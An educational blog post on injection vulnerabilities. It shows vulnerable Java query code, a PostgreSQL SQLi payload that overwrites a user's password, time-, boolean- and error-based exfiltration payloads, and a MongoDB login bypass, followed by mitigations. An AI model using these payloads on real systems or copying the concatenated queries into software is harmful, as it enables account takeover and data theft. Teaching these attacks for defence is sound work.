Blog

Avoiding injection vulnerabilities

Injection attacks refer to a broad class of attack vectors. In an injection attack, an attacker supplies untrusted input to a program. This input gets processed by an interpreter as part of a command or query. In turn, this alters the execution of that program.

schedule a call

The core idea behind injection vulnerabilities (SQLi, NoSQLi, OS cmd, etc.)

user input -> event -> function1 -> function2
   \                    ^      ^vuln^
    \__________________/

sidenote: event sources

  • Storage events
  • DB events
  • Kinesis events
  • API calls
  • Message queues
  • Emails, push, SMS, etc

sidenote: file uploads

  • file names
  • processing files
  • storing files

SQLi

simple:

      try {
        Class.forName(driver).newInstance();
        conn = DriverManager.getConnection(url + dbName, userName, password);
        System.out.println("Connected to the database");

        Statement st = conn.createStatement();
String query = "SELECT * FROM  User where userid='"
+ user + "'";

not simple:

  • hunting down every unparametrized request
  • making sure parametrization is correctly implemented
  • making sure it is not possible to modify the SQLR by tampering with JSON data
  • searching for second-order SQLi
  • making sure no functions that directly work with SQL are exposed to users

Postgres SQLi demo

  • stacked queries almost always used
  • all usual SQLi exfiltration channels available
  • pg_read_fileCOPY ... TO ..., and even RCE sometimes
  • quote filters can be bypassed with CHR or $

Simple live SQLi exploitation

Data flow

from curl to PostgreSQL

"{\"username\":\"rick'; update users set password=md5('password') where username = 'rick' --\", \"password\":\"foo\"}" # cURL payload 
{"username":"rick'; update users set password=md5('password') where username = 'rick' --", "password":"foo"} # decoded data
select * from users where username = 'rick'; update users set password=md5('password') where username = 'rick' -- ' limit 1 # database SQL


Vulnerable code example

LoginController.java:

... snip ...
@RequestMapping(value = "/login", method = RequestMethod.POST, produces = "application/json", consumes = "application/json")
  LoginResponse login(@RequestBody LoginRequest input) {
    User user = User.fetch(input.username);
... snip ...

User.java:

public static User fetch(String un) {
    Statement stmt = null;
    User user = null;
    try {
      ... snip ...
      String query = "select * from users where username = '" + un + "' limit 1";
      ResultSet rs = stmt.executeQuery(query);
      ... snip ... 

Other exfiltration channels

time-based:

select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1

boolean-based:

' and substr(version(),1,10) = 'PostgreSQL' and '1
' and substr(version(),1,10) = 'PostgreXXX' and '1

error-based:

,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT query_to_xml('select * from pg_user',true,true,'')) AS NUMERIC)='1')) THEN name ELSE note END)
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <usename>postgres</usename>
  <usesysid>10</usesysid>
  <usecreatedb>true</usecreatedb>
  <usesuper>true</usesuper>
  <userepl>true</userepl>
  <usebypassrls>true</usebypassrls>
  <passwd>********</passwd>
  <valuntil xsi:nil="true"/>
  <useconfig xsi:nil="true"/>
</row>
... snip ...

Mitigations

  • input validation
  • surprisingly, code scanning may help here
  • ORMs/connectors that do not allow you to perform direct requests
  • not using direct requests at all (i.e. debug) in exposed environments

sidenote: data flow/taint analysis

  • tracking untrusted user input
  • sources and sinks
  • reviewing everything it touches
json_req -> function1 -> function2 -> function3
								^vuln^

NoSQLi

similar mechanisms, different techniques

  • JSON-based (e.g. Mongo)
{"username": {"$ne": null}, "password": {"$ne": null}}
  • Input-based
db.injection.insert({success:1});

Mitigations

  • request structure validation
  • user input validation
  • ORMs